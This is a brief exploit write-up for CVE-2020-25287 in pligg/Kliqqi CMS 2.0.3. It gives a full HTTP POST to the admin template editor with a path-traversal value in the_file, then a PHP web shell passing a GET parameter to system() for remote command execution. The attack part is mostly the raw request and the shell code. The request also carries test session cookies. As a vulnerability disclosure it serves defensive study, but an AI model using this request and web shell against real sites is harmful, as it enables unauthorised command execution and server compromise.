pligg

pligg 2.0.3 - CVE-2020-25287

• Description : We can acces to anyfile using the_file parameter by template editor menu because of no check on extension and then create webshell into existing php file for exemple
• Affected version : 2.0.3

Information

To make this PoC, i just installed the sofware(https://github.com/Kliqqi-CMS/Kliqqi-CMS) using WAMP on Windows

• Vulnerability Type : Remote command execution (Authenticated RCE)

POC

Go to /admin/admin_editor.php intercept the request and change the path to file.

for exemple to get index.php of application :

POST /admin/admin_editor.php HTTP/1.1
Host: kliqqi
Content-Length: 33
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://kliqqi
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://kliqqi/admin/admin_editor.php
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: panelState=CollapseManage%7CCollapseSettings%7CCollapseTemplate; PHPSESSID=lfkc3gtrv5o1golmt5md3; mnm_user=Admin; mnm_key=QWRtaW46MjI0R2dEVTAxZncxZzpl
Connection: close

the_file=..%2Findex.php&open=Open

just click on "show response in browser", and edit the file to suit your needs

for exemple :

  if($_GET['cmd']){
    system($_GET['cmd']);
}

finaly go to website.fr?cmd=dir.